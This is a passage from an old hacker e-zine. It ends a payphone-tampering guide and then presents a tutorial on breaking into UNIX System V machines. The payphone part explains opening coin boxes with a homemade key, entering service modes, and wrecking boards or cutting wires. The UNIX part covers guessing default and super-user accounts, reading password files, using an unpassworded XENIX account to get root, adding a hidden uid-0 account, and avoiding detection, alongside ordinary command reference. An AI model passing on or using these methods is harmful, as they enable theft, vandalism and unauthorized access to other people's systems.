location in the ground underneath cement. Don't even bother with them.
On payphones located inside stores, just follow the two wires coming out
of the phone, it should lead to a beige box with a lock on it. Pick the
lock or break open the box and you'll see the jack.
Ok, now that you're into the jack, you can dial anywhere you'd like to.
Remember, that phone jack is almost exactly like the jack you have in your
house. Just pick up a cheap $5 phone from radio shack [A small one
preferrably since you dont want to look obvious] and hook it in! By doing
this, you're bypassing all the security of the phone [etc...Please Deposit
.10 cents for the next XX mins.].
4 - Get the Coin Box! Not that easy but one of my friends managed to bring
home a parking meter so it IS possible!! Theres two locks you must get
past in order to get to the coin box. First, get a piece of metal and make
the following.....
___
__| |__
|__ __|<===-- about 1/4 of an inch
| |
________| |________
/ X
| |
X___________________/
This key will allow you to get past the lock in the front of the
payphone. Ok, pick the lock on the bottom left-hand side of the payphone
[or drill a hole in it] and then put that key in the front lock and turn
it clockwise [to the right for those of you that can't tell time! heh].
Pull out the coin box and go and play 2000 video games!! Each coin box
holds up to a maximum of $150-175 dollars.
5 - Reprogramming the payphone. The most fun thing and also most dangerous!
First off, these aren't the stupid NY Telephones, they will call back the
company automatically if you dont do this correctly! All of the phones
that I work on have burnt-in Eproms that are for service. You can do
things like.....
A) Change the refunds number. This is a number to get in touch with the
company that operates the phone and get a refund sent to you by mail. When
you dial it, you won't have to put in a quarter for the call. Now, if you
can change that number to whatever you'd like, you can make a free phone
call from that phone anytime you want!
B) See how much money is in the coin box. You don't want to waste your
time if theres only $5 in there do you?? You can also erase that amount,
making it a pain in the ass for the technician who now must count it out
himself!
C) Theres a couple of other things in there that I haven't found out about
yet but as soon as I do, they'll be in the next issue fer sure!
Ok, the lock for this is either in two places. Check the top of the
payphone, if theres a lock there, thats the one that you want. It's called
a service lock. If it isn't there, check the right-hand side of the
payphone. If it's there, you'll need that key that you've made also. Pick
the top lock and use the key for the one underneath it. Once you do that,
you should get one of the following....
1 - If the payphone has a LCD Display on it, you'll see a menu
displaying the following...
Service Mode:
Now you'll have to hack out the code. It's usually four digits so
it should take too long. I'm not about to list the ones that I have
because I know some asshole will wind up trashing my phones!!!
Theres a few codes that are possible and each do different
things. For instance, one code will give you access to the coin box
counts and test modes while another will give you access to
programming the emergency numbers and refund numbers. Be sure NOT
to go into the payphone test mode!! This is cause the payphone to
display
PHONE SELF-TEST: Please Do Not Use.
What happens here is that the phone calls up the company that
operates the payphone and tells whoever picks up the phone, the
amount that is in the coin box and whatever thats being do to the
phone! You're asking for trouble with this mode.
2 - If there is no display, listen to the handset. A voice will prompt
you to enter your service entry. It works exactly the same way as
the LCD Display but just with a voice.
3 - Either way, once the lock is turned back into the original position,
the phone will go into self-test mode. The way to get around this
is to open up the phone. Just pull the front end of the phone
towards you, this will release half of the phone. Find the power
supply board. On some models, it will have the power supply on the
main board [The one standing upright], on others, the power supply
will have it's own separate board located underneath the main board
and coin mech. You'll notice which ever section that has a
transformer on it, thats what I'm talking about. Ok, there should
be a little orange switch there. If you pull in out, that will turn
the phone off. Pushing it in will turn the phone back on again. If
you pull it out and then push it in again, the phone will do a quick
check of itself [about 3-5 seconds]. Now, put the front end of the
phone back onto the fortress and turn the service key quickly. If
you do this quick enough, the phone won't have a chance to go into
service mode or self-test. It'll be like you never broke into it in
the first place!
6 - Once you get past the service lock. You can now get inside the payphone
itself. Pull the front end of the payphone towards you, then lift. Inside
you'll see various electronic boards, a coin mech, etc... On some models,
you'll also have a modular cable coming in from the jack, hook up your
portable phone to it and dial up! Trash the boards, take some home. Thats
where the real damage comes in! The average payphone costs about $1,200 to
1,500 bucks and most of that is because of whats inside, not the fortress
itself.
7 - On most payphones that are in stores, they'll be a couple of wires coming
out of it. If the phone was hooked up sloppy, they'll be exposed. One wire
is for power, the other goes to the jack. Cut them or pull out the jack.
Everyone that puts money into it afterwards will lose it!
8 - On the Intellical and Echotel payphones, theres a special feature that
will allow the owner of the phone to log into it remotely from a computer.
As of now, I don't have the exact information on how to break into it
through modeming but I do know that it is definately possible! Once you
login, you'll be able to reprogram the rate tables. A rate table is a
eprom that contains all the information on the rates for calls such as how
much it costs to call long distance and the amount of time per call thats
allowed. If you're able to reprogram the rate table, you'll be able to
make free phone calls anywhere for an unlimited amount of time. As soon as
I figure out how to crack the program thats used to call in, I'll write
the information in the next issue. Stay tuned!
Well, that should be enough for all you guyz to have fun. The next issue will
have a detailed explanation on how the payphone itself operates and whatever
else I might find out that interesting. Until then, if you have any questions,
you can leave me some email.
---===>>THE JEDI<<===---
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
= Volume 1 , P/HUN Issue #2 , Phile #6 of 9 =
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
/|X/|X/|X/|X/|X/|X/|X/|X/|X/|X/|X/|X/|X/|X/|X/|X/|X/|X/|X/|X
X|/ X|/
/|X /|X
X|/ An Indepth Guide in Hacking UNIX and the X|/
/|X concept of Basic Networking Utility /|X
X|/ ---------------------------------------- X|/
/|X By:Red Knight /|X
X|/ Phreakers/Hackers Underground Network X|/
/|X /|X
X|/X|/X|/X|/X|/X|/X|/X|/X|/X|/X|/X|/X|/X|/X|/X|/X|/X|/X|/X|/
Brief history on UNIX
----------------------
Its because of Ken Tompson that today were able to Hack Unix.He used to work
for Bell Labs in the 60s.Tompson started out using the MULTICS OS which was
later eliminated and Tompson was left without an operating system to work with.
Tompson had to come up with something real quick.He did some research and
and in 1969 UNIX came out,which was a single user and it didn't have
many capabilities.A combined effort with others he rewrote the version
in C and added some good features.This version was out in 1973 and was
available to the public.This was the first begining of UNIX as its known
presently.The more refined version of UNIX,today know as UNIX system V
developed by Berkley University has unique capabilities.
Various types of UNIXes are CPIX,Berkeley Ver 4.1,Berkeley 4.2,FOS,Genix,HP-UX,
IS/I,OSx,PC-IX,PERPOS,Sys3,Ultrix,Zeus,Xenix,UNITY,VENIX,UTS,Unisys,Uniplus+,
UNOS,Idris,QNIX,Coherent,Cromix,System III,System 7,Sixth edition.
The article it self:
--------------------
I believe that hacking into any system requires knowledge of the Operating
system itself.Basically what I will try to do is make you more familiar with
UNIX operation ,its usefull commands that will be advantageous to you as a
hacker.This article contains in depth explainations.
Error Messages that one may came across:[UNIX system V]
----------------------------------------
Login incorrect - An ivalid ID and/or pw was entered.This means nothing.
In UNIX there is no way guessing valid user IDs.You may
come across this one when trying to get in.
No more logins - will happens when the system wont accept anymore logins
could be going down
Unknown Id - will happen if an ivalid id is entered using (su) command
Unexpected eof in file - The file being stripped file has been damaged
Your password has expired - This is quiet rare although there have been cases
where it happened.Reading the etc/passwd will
show you at how many intervals it changes.
You may not change the password - The password has not yet aged enough.The
Administrator set the quotas for the users
Unknown group [groups name] - occurs when chgrp is executed ,group doesn't
exist
Sorry - Indicated that you have typed in an invalid super user password(execu-
tion of the su)
Permission denied!- Indicated you must be the owner or a super user to change
password.
Sorry <[# of weeks] since last change - This will happen when password has
has not aged enough and you tried to
change it(passwd)
[directory name]:no permission - You are trying to remove a directory which
you have no permission to.
[file name] not removed - trying to delete a file owned by another user
that you dont have write pemision for.
[dirname] not removed - ownership of the dir is not your that your trying to
delete.
[dirname] not empty - the directory contains files so you must have to delete
the files before executing the rmdir
[command] not found - you have entered an ivalid command not know to UNIX
cant execute pwd - some thing wrong with the system cant execute pwd command
cannot chdir to .. - (.. one level up) permision is required to execute pwd
above the current directory
cant open [file name] - defined wrong path,file name or you have no read
permission
cp:[file name] and [file name] are identical - self explanatory
cannot locate parent directory - occurs when using mv
[file name] not found - file which your trying to move doesn't exsist
You have mail - Self explanatory
Basic Networking Utility error messages
---------------------------------------
cu:not found - networking not installed
login failed - invalid id/pw or wrong # specified
dial failed - the systen never answered due to a wrong #
uucp completely failed - did not specify file after -s
wrong time to call - you called at the time at a time not specified in the
Systems file
system not in systems - you called a remote not in the systems file
Logon format : first thing one must do is switch to lower case
--------------
Identifing a UNIX.Here is what you'll see:
Some times there will be no system identifer
AT&T UNIX SysVR3.0 (eg of a system identifier)
login:
or
Login:
Any of these is a UNIX.Here is where you will have to guess at a user valid
id.Here are some that I have come across eg( glr,glt,radgo,rml,chester,cat,
lom,cora,hlto,hwill,edcasey and also some containing numbers smith1,mitu6 or
special characters in it like bremer$,j#fox.Login names have to be 3 to 8
chracters in lenght lowercase and must start with a letter.In some XENIX
systems one may login as "guest"
User level accounts:(lower case)
--------------------
In Unix they have whats called accounts .These
accounts can be used at the "login:" prompt.
Here is a list:
sys
bin
trouble
daemon
uucp
nuucp
rje
lp
adm
listen - if starlan is installed
Super-user accounts:
--------------------
And then there are super-user login which make UNIX worth hacking.
The accounts are used for a specific job. In large systems these logins
are assingned to users who have a responsibilty to maintain subsystems.
They are as follows :(all lower case)
root - this is a must the system comes configured with it.It has no
restriction.Has power over every other account.
unmountsys - unmounts files
setup - system set up
makefsys - makes a new file
sysadm - allows useful S.A commands(doesn't need root login)
powerdown - powering system down
mountfsys - mounts files
checkfsys - checks file
These accounts will definitly have passwords assigned to them.These
accounts are also commands used by the system administrator.
Here are some examples of accounts I have seen:
cron uuhelp usenet
anonuccp news network
bellboy lp vector
guest games ninja
vote warble sysinfo
After the login prompt you will receive a password prompt:
password:
or
Password:
Enter the password (it wont echo).The password rule is as follows:Each pw
has to contain at least 6 characters and maximum has to be 8 .Two of which are
to be alphabetic letters and at least one being a number or a special character
The alphabetic digits could be in upper case or lower case.Here are some of the
passwords that I have seen (eg.Ansuya1,PLAT00N6,uFo/78,ShAsHi..,Div417co)
The passwords for the super user accounts will be difficult to hack
try the accounts interchangebly eg.login:sysadm password:makefsys or rje1,
sysop,sysop1,bin4 or they might contain letter,numbers,special chracters in
them.It could be anything.The user passwords are changed by an aging proccess
at successive intervals.The users are forced to changed it.The super-user
will pick a password that wont need changing for a long period of time.
You have made it!
-----------------
The hard part is over and hopefully you have hacked a super-user account.
Remember Control-d stops a process and also logs you off.
The next thing you'll probably see is the system news
eg.
login:john
password:hacker1
System news
There will be no networking offered to the users till
august 15,due to hardware problems.
(just an example)
$
$ is the Unix prompt -waiting for a command to be entered.I will use this
throught the article to show outouts etc..(Its not
part of the command)
# - means your logged in as root(very good)
A word about the XENIX System III:(run on the tandy 6000)
---------------------------------
The largest weakness in the XENIX System III occurs after the installation
of the Profile-16 or more commonly know as the filepro-16.I have seen the
filepro-16 installed in many systems.
The installation process creates an entry in the password file for a user
named XfBprofileXfR ,an account that who owns and administors the database.
The great thing about it is that when the account is created ,no password is
assigned to it.The database contains executable to maintain it.The database
creation programs perform a XfBsetuidXfR to boot up the XfBootXfR there by
giving a person the whole C Shell to gain Super User privilege same as root.
Intresting huh!
- Note: First the article will inform you of how the Unix is made up
The Unix is made if three components-The shell,the kernal,file system.
The kernal:
-----------
You could say that the kernal is the heart of the Unix operating system.
The kernal is a low level language lower than the shell which maintains
processes .The kernal handles memory usage ,maintains file system
the sofware and hardware devices.
The shell:
----------
The shell a higher level language. The shell had two important uses,
to act as command interpreture for example using commands like cat,who,
ls the the shell is at work figuring out whether you have entered a command
correctly or not.The second most important reason for the shell is its ability
to be used as programing language.Suppose your performing some tasks
repeatedly over and over again,You can program the shell to do this for you.
The file system:
---------------
The file system in Unix is divede into 3 catagories:Directories,ordinary files
and special files.(d,-)
Basic stucture:
(/)-this is abreviation for the root dirctory.
root level root
(/) system
-------------------------------------|----------------------------------level
| | | | | | | |
/unix /etc /dev /tmp /lib /usr /usr2 /bin
| _____|_____
login passwd | | |
level /john /cathy
________________________|_______________
| | | | | |
.profile /mail /pers /games /bin /michelle
- .profile - in case | __|______ | __|_______
you wich to change your enviroment capital | | data | |
but after you log off.It sets to othello starwars letter letter1
default.
the /unix-is the kernal
/etc - contains system administrators files,Most are not available to the
regular user.(this directory contains the /passwd file)
Here are some files under /etc directory:
/etc/passwd
/etc/utmp
/etc/adm/sulog
/etc/motd
/etc/group
/etc/conf
/etc/profile
/dev - contains files for physical devices such as printer and the disk drives
/tmp - temporary file directory
/lib - dirctory that contains programs for high level languages
/usr - this directory contains dirctories for each user on the system
Eg. of a list of files under /usr
/usr/tmp
/usr/lib
/usr/docs
/usr/news
/usr/spool
/usr/spool/lp
/usr/lib/uucp
/bin - contain executable programs (commands)
The root also contains:
/bck - used to mount a back up file system.
/install - Used to install and remove utilities
/lost+found - This is where all the removed files go,This dir is used by fsck
(1M)
/save -A utility used to save data
/mnt - Used for temporary mounting
- *Now the fun part scouting around**
Local commands (Explained in details)
-------------------------------------
At the unix prompt type the pwd command-it will show you the current working
directory you are in.
$ pwd
$ /usr/admin - assuming that you have hacked into a super user acc checkfsys
$
This gives you the full login directory.The / before tell you the location
of the root directory
or
(REFER TO THE DIAGRAM ABOVE)
$ pwd
$ /usr/john
$
Assuming you have hacked into johns acc.
Now lets say you wanted to move down to the michelle directory( you own this)
that contains letters.You would type in
$ cd michelle or cd usr/john/michelle
$ pwd
$ /usr/john/michelle
$
Going back one directory up type in:
$ cd ..
or going to your parent directory just type in "cd"
Listing file directories assuming you are in the parent directory:
$ ls /usr/john
mail
pers
games
bin
michelle
This wont give you the .profile file .To view it type
$ cd
$ ls -a
:
:
.profile
To list file names in michelles directory type in:
$ ls michelle (that if your in the johns directory)
$ ls /usr/john/michelle(parent dir)
ls -l
-----
The ls -l is an an important command in unix.This command displays the whole
directory in long format :Run this in parent directory
$ ls -l
total 60
-rwxr-x--- 5 john bluebox 10 april 9 7:04 mail
drwx------ 7 john bluebox 30 april 2 4:09 pers
: : : : : : :
: : : : : : :
-rwxr-x--- 6 cathy bluebox 13 april 1 13:00 partys
: : : : : : :
$
The total 60 tells one the ammount of disk space used in a directory.The
-rwxr-x--- is read in triples of 3.The first chracter eg(-,d,b,c)-means as
follows: - is an ordinary file ,d is a directory,b is block file,c is a
chracter file.
The r stands for read permission,w is write permission,x is execute.The first
colum is read in 3 triples as stated above.The first group of 3 (in -rwxr-x---)
after the "-" specifies the permission for the owner of the file,the second
triple are for the groups (the fourth colum) and the last triple are the
permissions for all other users.Therefore the -rwxr-x--- is read as follows.
The owner john has permission to read,write and execute anything in the bin
directory but the group has no write permission to it and the rest of the users
have no permission at all.The format of one of the lines in the above output
is as follows:
file type-permissions,links,usersname,group,bytes taken,date,time when last
renued,directory or file name.
- *You will be able to read,execute cathys file named party due to the same
group***
chmod
-----
The chmod command changes permission of a directory or a file.Format is
chmod who+,-,=r,w,x
The who is substituted by u-user,g-group,o-other users,a-all.
The + means add permission,- means remove permission,= - assign.
Example :If you wanted all other users to read the file name mail ,type:
$ chmod o+r mail
cat
---
Now suppose you wanted to read the file letter .There are teo ways to doing
this.First go to the michelle directory then type in:
$ cat letter
line one ...X
line two ... the output of letter
line three../
$
or
If you are in the parent directory type in:
$ cat /usr/john/michelle/letter
and you will have the same output.
Some cat options are -s,-u,-v,-e,-t
Special Chracters in Unix:
-------------------------
- - matches any number of single characters eg. ls john* will list
all files that begin with john
[...] - matchs any one of the chracter in the [ ]
? - matches any single chracter
& - runs a process in the backgroung leaving your terminal free
$ - Values used for variables also $n - null argument
> - redirectes output
< - redirects input to come from a file
>> - redirects command to be added to the end of a file
| - pipe output (eg:who|wc-l tells us how many users are online)
"..." - Turn of meaning of special chracters excluding $,
... - allows command output in to be used in a command line
'...' - turns of special meaning of all chracters
continuation of local commands...[ ] -contains the options used
-------------------------------
passwd
------
Password changing seems to be a big thing among the savants.Anyway to change
the password one would use the 'passwd' command as shown below:
$passwd
Changing password for john
Old password:
New password:
Retype new password:
$
This will only work when the password has aged enough
ps
--
Its sometimes necessary to see what command procesess you are running,this
command lets you see that.
ps [-a all processes except group leaders] [-e all processes] [-f the whole
list]
$ps
PID TTY TIME COMMAND
200 tty09 14:20 ps
The systems reports (PID - process idenetification number which is a #
from 1-30,000 assigned to UNIX processes)
It also reports the TTY,TIME and the COMMAND being executed at the time.
To stop a process enter :
$kill [PID] (this case its 200)
200 terminated
$
grep
----
This comand is important when seaching for a word or words in large files.
grep [argument] [file name] - searchs for an file that contains the argument
for example:
$ grep phone cathy
phone michelle (718)5551234
phone cindy (718)5553456
What this did was to find the argument 'phone' in the file cathy.If the
argument consists of two or more words then it must be enclosed in single
quotes.
mv
--
mv [file names(s)] [ dir name ] - renames a file or moves it to another
directory eg.
$mv letter letters
$
This renames the file letter to letters thereby deleting letter
or if you want to move files then
$mv /usr/john/pers/capital /usr/john/michelle/capital
$
This moves the file capital to the directory named michelle
diff
----
diff [file name] [ file name] - show diffrence between two files.Output of this
will have something like 4,5c4,5 then the it
will display both sets of files on the screen
The 4,5c4,5 means that you must change "c"
lines 4 to 5 in one file to line 4 to 5 in
another.
Option for using this command are :
-b - it ignores blank spaces
-h - compares it quickly
-s - reports files that are the same
-S[file] - this is when you want to compare a directory starting at a
specific file
There is also a command to compare 3 files which is :
diff3 [options] [file1] [file2] [file3]
cp
--
cp [file name] [file name] - makes a copy of a file
$ cp letter letters
$
The file letters is a dupilcate copy of letter.In this case the original
is not erased like in the mv command
.... more UNIX commands:
--------------------
man [command] or [c/r] -will give you a list of commands explainations
help - available on some UNIX systems
mkdir [dir name(s)] - makes a directory
rmdir [dir name(s)] - removes directory.You wont be able to remove the
directory if it contains files in them
rm [file name(s)] - removes files. rm * will erase all files in the current
dir.Be carefull you!!.Some options are :
[-f unconditional removal] [-i Prompts user for y or n]
write [login name ] - to write to other logged in users.Sort of a chat
mesg [-n] [-y] - doesn't allow others to send you messages using the write
command.Wall used by system adm overrides it.
$ [file name] - to execute any file
wc [file name] - Counts words,chracters,lines in a file
stty [modes] - Set terminal I/O for the current devices
sort [filename] - Sorts and merges files many options
spell [file name] > [file name] - The second file is where the misspelt words
are entered
date [+%m%d%y*] [+%H%%M%S] - Displays date acoording to options
at [-r] [-l] [job] - Does a specified job at a specified time.The -r Removes
all previously scheduled jobs.The -l reports the job #
and status of all jobs scheduled
write [login] [tty] - Sends message to the login name.Chat!
su [login name]
---------------
The su command allows one to switch user to a super user to a user.Very
important could be used to switch to super user accounts.
Usage:
$ su sysadm
password:
This su command will be monitored in /usr/adm/sulog and this file of all files
is carefully monitered by the system administrator.Suppose you hacked in johns
account and then switched to the sysadm account (ABOVE) your /usr/adm/sulog
entry would look like:
SU 04/19/88 21:00 + tty 12 john-sysadm
Therfore the S.A(system administrator) would know that john swithed to sysadm
account on 4/19/88 at 21:00 hours
Searching for valid login names:
-------------------------------
Type in-
$ who ( command informs the user of other users on the system)
cathy tty1 april 19 2:30
john tty2 april 19 2:19
dipal tty3 april 19 2:31
:
:
tty is the users terminal,date,time each logged on.dipal,john are valid
logins.
Files worth concatenating(cat)
/etc/passwd file:
-----------------
The etc/passwd is a vital file to cat.For it contains login names of all
users including super user accounts and there passwords.In the newer
SVR3 releases they are tighting their security by moving the encrypted
passwords from /etc/passwd to /etc/shadow making it only readable by root.
This is optional offcourse.
$ cat /etc/passwd
root:D943/sys34:0:1:0000:/:
sysadm:k54doPerate:0:0:administration:usr/admin:/bin/rsh
checkfsys:Locked;:0:0:check file system:/usr/admin:/bin/rsh
:
other super user accs.
:
john:chips11:34:3:john scezerend:/usr/john:
:
other users
:
$
If you have reached this far capture this file as soon as posible.
This is a typical output etc/passwd file.The entries are seperated
by a ":".There made be up to 7 fields in each line.
Eg.sysadm account.
The first is the login name in this case sysadm.The second field contains the
password.The third field contains the user id."0 is the root".Then comes the
group id then the account which contains the user full name etc .The sixth
field is the login directory defines the full path name of the the particlar
account and the last is the program to be executed.
Now one can switch to other super user account using su command descibed above.
The password entry in the field of the checkfsys account in the above example
is "Locked;". This doesn't mean thats its a password but the account
checkfsys cannot be accessed remotely.The ";" acts as an unused encryption
chracter.A space is also used for the same purpose.You will find this in many
UNIX systems that are small systems where the system administrator handles
all maintaince.
Password aging:
---------------
If password aging is active the user is forced to change the password at
regular intervals.One may be able to tell just by looking at the /etc/passwd
file when the password is allowed to be changed and when it is compulsory to
change it.
For example the entry:
john:chips11,43:34:3:John Scezerend:/usr/john:
The password contains an extension of (,43) which mean that john can change has
to change the password atleast evert 6 weeks and can keep it for atleast 3
week.The format used is [password],Mmww.The M is the maxiumum number of weeks
password has to be change and m is the minimum interval password can be changed
and the ww is indicates when the password was last changed.
Aging chart:
---------|-----------
Character|# of weeks
. | 0
/ | 1
0-9 | 2-11
A-Z | 12-37
a-z | 38-63
---------|-----------
>From the above anyone can determine the number of weeks one can chnage the
password.
The (ww) is automatically added as to when the password was last changed .
IF SHAWDOWING IS ACTIVE:
------------------------
If the shawdowing is active the /etc/passwd would look like this:
root:x:0:1:0000:/:
sysadm:x:0:0:administration:/usr/admin:/bin/rsh
The password filed is substituted by "x".
The /etc/shawdow file only readable by root will look similar to
this:
root:D943/sys34:5288::
:
super user accounts
:
Cathy:masai1:5055:7:120
:
all other users
:
The first field contains users id:the second contains the password(The pw will
be NONE if logining in remotely is deactivated):the third contains a code of
when the password was last changed:the fourth and the fifth contains the
minimum and the maximum numbers of days for pw changes(Its rare that you will
find this in the super user logins due to there hard to guess passwords)
/etc/options directory
-----------------------
The etc/options dir will consists of utilities available in the system.
Example:
-rwxr-xr-x 1 root sys 40 april 1:00 uucp.name
uucp standing for BNU
/etc/group
-----------
The file has each group on the system.Each line will have 4 entries separated
by a ":" . Example of concatenated /etc/group:
root::0:root
adm::2:adm,root
bluebox::70:
Group name:password:group id:login names
- * It very unlikely that groups will have passwords assigned to them **
The id "0" is assigned to /
Sending and recieving messages:
-------------------------------
Two programs are used to manage this.They are mail & mailx.The difference
between them is that mailx is more fancier thereby giving you many choices
like replying message ,using editors etc.
Sending:
--------
The basic format for using this command is:
$mail [login(s)]
(now one would enter the text
after finishing enter "." a period
on the next blank line)
$
This command is also used to send mail to remote systems.Suppose you wanted
to send mail to john on a remote called ATT01
you would type in:
$mail ATT01!john
Mail can be sent to several users,just by entering more login name after
issuing the mail command
Using mailx is the same format:(This I'll describe very briefly)
$mailx john
subject:(this lets you enter the subject)
(line #1)
(line #2)
(After you finish enter (D.) not the brackets offcourse ,more commands are
available like Dp,Dr,Dv,Dm,Dh,Db etc.)
Receiving:
----------
After you log on to the system you will the account may have mail waiting.
You will be notified "you have mail".
To read this enter:
$mail
(line #1)
(line #2)
(line #3)
?
$
After the message you will be prompted with a question mark.Here you have a
choice to delete it by entering d,saving it to view it later s,or just press
enter to view the next message.
(DONT BE A SAVANT AND DELETE THE POOR GUYS MAIL)
Super user commands:
--------------------
$sysadm adduser - will take you through a routine to add a user
(may not last long)
Enter this:
$ sysadm adduser
password:
(this is what you will see)
/--------------------------------------------------------------------------X
Process running succommmand adduser
USER MANAGMENT
Anytime you want to quit, type "q".
If you are not sure how to answer any prompt, type "?" for help
If a default appears in the question,press <RETURN> for the default.
Enter users full name [?,q]: (enter the name you want)
Enter users login ID [?,q]:(the id you want to use)
Enter users ID number (default 50000) [?,q) [?,q]:( press return )
Enter group ID number or group name:(any name from /etc/group)
Enter users login home directory:(enter /usr/name)
This is the information for the new login:
Users name: (name)
login ID:(id)
users ID:50000
group ID or name:
home directory:/usr/name
Do you want to install,edit,skip [i,e,s,q]? (enter your choice if "i" then)
Login installed
Do you want to give the user a password?[y,n] (its better to enter one)
New password:
Re-enter password:
Do you want to add another login?
X----------------------------------------------------------------------------/
This is the proccess to add a user.Since you hacked into a super user account
you can make a super user account by doing the following by entering 0 as an
user and a group ID and enter the home directory as /usr/admin.This will give
you as much access as the account sysadm
- *Caution** - Do not use login names like Hacker,Cracker,Phreak etc .This is
a total give away.
The process of adding a user wont last very long the S.A will know when he
checks out the /etc/passwd file
$sysadm moduser - This utility allows one to modify users.DO NOT ABUSE!!!
Password:
This is what you'll see:
/----------------------------------------------------------------------------X
MODIFYING USER'S LOGIN
1)chgloginid (This is to change the login ID)
2)chgpassword (Changing password)
3)chgshell (Changing directory DEFAULT = /bin/sh)
ENTER A NUMBER,NAME,INITIAL PART OF OF NAME,OR ? OR <NUMBER>? FOR HELP,
Q TO QUIT ?
X----------------------------------------------------------------------------/
Try every one of them out.Do not change someones password.It creates a havoc.
If you do decide to change it.Please write the original one down somewhere
and change back.Try not to leave to many traces after you had your fun.
In choice number 1 you will be asked for the login and then the new one.
In choice number 2 you will asked for the login and then supplied by it correct
password and enter a new one.
In choice 3 this is used to a pchange the login shell ** Use full **
The above utilites can be used separatly for eg( To change a password one
coulfd enter: $sysadm chgpasswd not chapassword ,The rest are same)
$sysadm deluser - This is an obviously to delete a user
password:
This will be the screen output:
/---------------------------------------------------------------------------X
Running subcommand 'deluser' from menu 'usermgmt'
USER MANAGEMENT
This fuction completely removes the user,their mail file,home directory
and all files below their home directory from the machine.
Enter login ID you wish to remove[q]: (eg.cathy)
'cathy' belongs to 'Cathy Franklin'
whose home directory is /usr/cathy
Do you want to remove this login ID 'cathy' ? [y,n,?,q] :
/usr/cathy and all files under it have been deleted.
Enter login ID you wish to remove [q]:
X--------------------------------------------------------------------------/
This command deletes everthing owned by the user.Dont use it even if you have
access to it.
other super user commands:
--------------------------
wall [text] control-d - to send an anouncement to users logged in(will
override mesg -n command).Execute only from /
/etc/newgrp - is used to become a member of a group
sysadm [program name]
delgroup - delets groups
whoson - self explanatory
lsgroup - Lists group
mklineset -hunts various sequences
lsuser -lists all the users & their logins names
Other commands may require file system to be mounted.
Basic Networking utility(BNU)
-----------------------------
The BNU is a unique feature in UNIX.Some systems may not have this installed.
What BNU does is allow other remote UNIXes communicate with yours without
logging off the present one.BNU also allowes file transfer between computers.
Most UNIX systems V will have this feature installed.
The user program like cu,uux etc are located in the /usr/bin directory
Basic Networking Files:
-----------------------
/usr/lib/uucp/[file name]
[file name]
systems - cu command to establishes link.Contains info on remote computers
name,time it can be reached,login Id,password,telephone numbers
devices - inter connected with systems files(Automatic call unit same in two
entries)also cantains baud rate,port tty1 etc.
dialers - where asscii converation must be made before file tranfers etc.
dialcodes - contains abreiviations for phone numbers that can be used in
systems file
other files are sysfiles,permissions,poll,devconfig
B.N.U Aministrative files:
--------------------------
There are 5 admnistrative files present.These are files are created in the
/usr/spool directory .These A.Files are responsible for various BNU procceses
like kepping records data ,files tranfers bettwenn remote and local and also
usefull to lock devices.
TM - This file used to hold temporary data .When tranfering the files from a
remote to local the /usr/spool/uucp/[name of the remote computer ] creates
this in the format of as of below:
TM[Process Identification Number].[ddd]
The ddd is the a 3 digit number (sequential) starting with "0"
Here a typical eg: TM322.012
Then this file is moved into the path defined by the C.sysnxxx file
X.[Execute files] - Created in the /usr/spool before you execute the commands
in remote.
The format used to name this file is X.sysnxxx
where sys stand for the remote name and n is the priority
level the xxxx is a sequence assingned by the uucp.These
files always contain the Name of the file ,Comuter & file
name to recieve,Persons login & computer name and the
command string.
LCK - The lock file created in the /usr/spool/locks directory.The is used when
devices are being used.Prevent usage of the same calling device.
Format used: LCK.str wher the str is a device name.The Lock file contains
the PID needed to lock
C.sysnxxx - created in the usr/spool directory.These are the work files.Used
when work is in line,remote execeutions.Format is same as the
X.sysnxxxx.The works files contain the full path name of the file
to be sent,path name of the destination (TM Transfers),Remote login
name to be notified after the file transmision is complete,Users
login name and the name of the programs used eg.uucp,uupick etc.
D - The data files.Format used is D.systmxxxxyyy.These files are created when
specified in a command to copy to the spool directory.Eg. By the usage of
uucp -C this will be true.
The systm is the remote name,xxxx is the the 4 digits seq assingned by
the uucp.The yyy is a sub sequence number.
Logining on to remote and sending+receiving files
-------------------------------------------------
cu - This command allows one to log on to the local as well as the remote
Unix (or a non unix)without haveing to hang up so you can transfer files.
Usage:[options]
$ cu [-s baud rate][-o odd parity][-e even parity][-l name of comm line]
telephone number | systemname
To view system names that you can communicate with use the 'unname' command:
Eg. of output of names:
ATT01
ATT02
ATT03
ATT04
$ cu -s300 3=9872344 (9872344 is the tel#)
connected
login:
password:
local strings:
--------------
<D.> - will log you off the remote terminal but not the local
D! - out you on the local withiout disconnecting the line from remote
<control-d> - puts you back on the remote unix
D%take [file name] - takes a copy of the file name and copies it to the
local(the directory which you are in)
"%put [file name] - reverse of above
D$[command] - allows the execution of a command to the local from remote
ct
--
ct allows local to connect to remote.Initiates a getty on a remote terminal.
Usefull when using a remote terminal.BNU has call back feature that allows
the user on the remote who can execute a call back meaning the local can call
the remote.[ ] are options
$ ct [-h prevent automatic hang up][-s bps rate][-wt set a time to call back
abbrieviated t mins] telephone number
uux
---
To execute commands on a remote (unix to unix)
usage:[ ] are options
$ uux [- use standard output][-n prevent mail notification][-p also use
standard output] command-string
uucp
----
uucp copies files from ones computer to the home directory
of a user in remote system.This also works when copying files from one
directory to another in the remote.The remote user will be notified by mail.
This command becomes use full when copying files from a remote to your local
system.
The uucp requires the uucico daemon will call up the remote and will perform
file login sequence,file transfer and notify the user by mail.
Daemons are programs runining in the background.The 3 daemons in a Unix are
uucico,uusched,uuxqt.
Daemons Explained:[nows a good time to explain the 3 daemons]
------------------
uuxqt - Remote execution.This daemon is executed by uudemon.hour started by
cron.UUXQT searchs in the spool directory for executable file
named X.file sent from the remote system.When it finds a file X.file
where it obtains process which are to be executed.The next step is
to find weather the processes are available at the time.The if
available it checks permission and if everthing is o.k it proceeds
the background proccess.
uucico - This Daemon is very immportant for it is responsible in establishing
a connection to the remote also checks permission,performs login
procedures,transfers + executes files and also notifies the user
by mail.This daemon is called upon by uucp,uuto,uux commands.
uusched - This is executed by the shell script called uudemon.hour
This daemons acts as a randomizer before the UUCICO daemon is
called.
Usage of uucp command:
$ uucp [options] [first full path name!] file [destination path!] file
example:
$ uucp -m -s bbss hackers unix2!/usr/todd/hackers
What this would do is send the file hackers from your computer to the remotes
/usr/todd/hackers making hackers offcourse as file.todd would mail that
a file has been sent to him.The unix2 is the name of the remote.
Options for uucp:(Dont forget to type in remotes name unix2 in case)
